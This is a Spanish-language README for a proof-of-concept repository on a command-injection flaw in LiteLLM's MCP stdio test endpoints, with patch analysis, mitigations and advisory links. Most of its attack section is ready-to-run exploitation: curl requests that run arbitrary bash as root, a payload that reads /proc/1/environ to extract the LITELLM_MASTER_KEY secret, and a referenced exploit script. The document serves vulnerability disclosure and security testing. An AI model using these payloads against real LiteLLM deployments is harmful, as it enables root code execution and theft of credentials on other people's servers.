CVE-2026-42271 — Inyección de comandos autenticada en LiteLLM a través de endpoints de prueba MCP stdio

LiteLLM POST /mcp-rest/test/connection y POST /mcp-rest/test/tools/list — Inyección de comandos autenticada a través del transporte MCP stdio. Cualquier clave API válida puede ejecutar comandos arbitrarios del sistema operativo como root (en la implementación Docker predeterminada).

Imagen fijada por digest: el contenedor vulnerable está fijado a LiteLLM v1.82.6, asegurando reproducibilidad a largo plazo.

Descripción

Dos endpoints utilizados para previsualizar un servidor MCP antes de guardarlo — POST /mcp-rest/test/connection y POST /mcp-rest/test/tools/list — aceptan una configuración completa del servidor MCP en el cuerpo de la solicitud, incluyendo los campos command, args y env utilizados por el transporte stdio.

Cuando se invocan con una configuración stdio, los endpoints lanzan el comando proporcionado como un subproceso en el host del proxy con los privilegios del proceso proxy (root en el Docker predeterminado).

Problema clave: Los endpoints solo verifican una clave API de proxy válida sin verificación de rol — incluso las claves de internal_user con bajos privilegios pueden explotar esto.

Prueba de concepto

Inicio rápido (Docker)

# 1. Iniciar una instancia vulnerable de LiteLLM (fijada a v1.82.6)
docker compose up -d

# 2. Ejecutar el exploit
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key" --cmd "id"

# O usar curl directamente (RCE ciega — la respuesta puede mostrar error, pero el comando se ejecuta)
curl -s -X POST \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  http://localhost:4000/mcp-rest/test/tools/list \
  -d '{
    "transport": "stdio",
    "command": "bash",
    "args": ["-c", "id > /tmp/pwned"]
  }'

Verificar la ejecución

# Verificar que el comando se ejecutó dentro del contenedor
docker exec litellm-cve cat /tmp/pwned
# Salida: uid=0(root) gid=0(root) groups=0(root),0(root),...

La API devuelve "Failed to connect to MCP server" porque el proceso lanzado no habla el protocolo MCP — pero el comando ya se ha ejecutado con privilegios de root.

Escenarios de ataque

Endpoints vulnerables

POST /mcp-rest/test/connection

Prueba una conexión con un servidor MCP. Con transporte stdio, lanza el comando proporcionado.

POST /mcp-rest/test/tools/list

Lista las herramientas de un servidor MCP de prueba. Mismo comportamiento — lanza el comando proporcionado al usar transporte stdio.

Formato del cuerpo de la solicitud

{
  "transport": "stdio",
  "command": "bash",
  "args": ["-c", "<comando malicioso>"],
  "env": {
    "PATH": "/usr/bin:/bin"
  }
}

Análisis del parche (v1.83.7)

La corrección añadió dos capas de defensa:

1. Lista blanca de comandos mediante validate_transport_fields() — solo permite: npx, uvx, python, python3, node, docker, deno
2. Control de acceso basado en roles — ambos endpoints ahora requieren el rol PROXY_ADMIN

Estructura del repositorio

CVE-2026-42271/
├── README.md                  # Este archivo
├── docker-compose.yml         # Entorno vulnerable con un solo comando (fijado a v1.82.6)
├── requirements.txt           # Dependencias
├── exploit/
│   ├── exploit.py             # Script de exploit completo
│   └── payload.py             # Módulo de generación de payloads
├── docs/
│   └── advisory.md            # Referencia del aviso
└── screenshots/               # Capturas de pantalla de la prueba

Mitigación

1. Actualizar a LiteLLM v1.83.7+ (lista blanca de comandos + verificación de rol PROXY_ADMIN)
2. Bloquear /mcp-rest/test/connection y /mcp-rest/test/tools/list en el proxy inverso
3. Restringir los privilegios de las claves API — rotar las claves si se sospecha compromiso
4. Ejecutar como no root en Docker: docker run --user 1000:1000 ...

⚠️ Nota: Aislamiento de variables de entorno del SDK MCP

Al reproducir la sección 5.7 (extracción de variables de entorno del proceso), tenga en cuenta que MCP Python SDK v1.25.0+ al crear subprocesos stdio no hereda las variables de entorno del proceso padre de LiteLLM. El SDK, mediante get_default_environment(), solo pasa HOME y PATH, y luego fusiona el campo env especificado explícitamente por el usuario.

Por lo tanto, env > /tmp/env_dump no capturará LITELLM_MASTER_KEY.

Procedimiento correcto: extraer las variables de entorno leyendo /proc/1/environ del proceso principal de LiteLLM:

# Extraer variables de entorno (a través de /proc/1/environ)
curl -s -X POST \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  http://localhost:4000/mcp-rest/test/tools/list \
  -d '{
    "transport": "stdio",
    "command": "bash",
    "args": ["-c", "cat /proc/1/environ | tr \"\\0\" \"\\n\" > /tmp/env_dump"]
  }'

# Ver el resultado
docker exec litellm-cve cat /tmp/env_dump | grep -E "LITELLM|MASTER"
# Salida: LITELLM_MASTER_KEY=sk-litellm-master-key

Consulte el informe de reproducción sección 5.7 para más detalles.

Referencias

• GitHub Security Advisory GHSA-v4p8-mg3p-g94g
• GitLab Advisory
• NVD Detail
• v1.83.7-stable Release
• LiteLLM MCP Documentation

Descargo de responsabilidad: Este contenido se proporciona únicamente con fines educativos y para pruebas de seguridad autorizadas.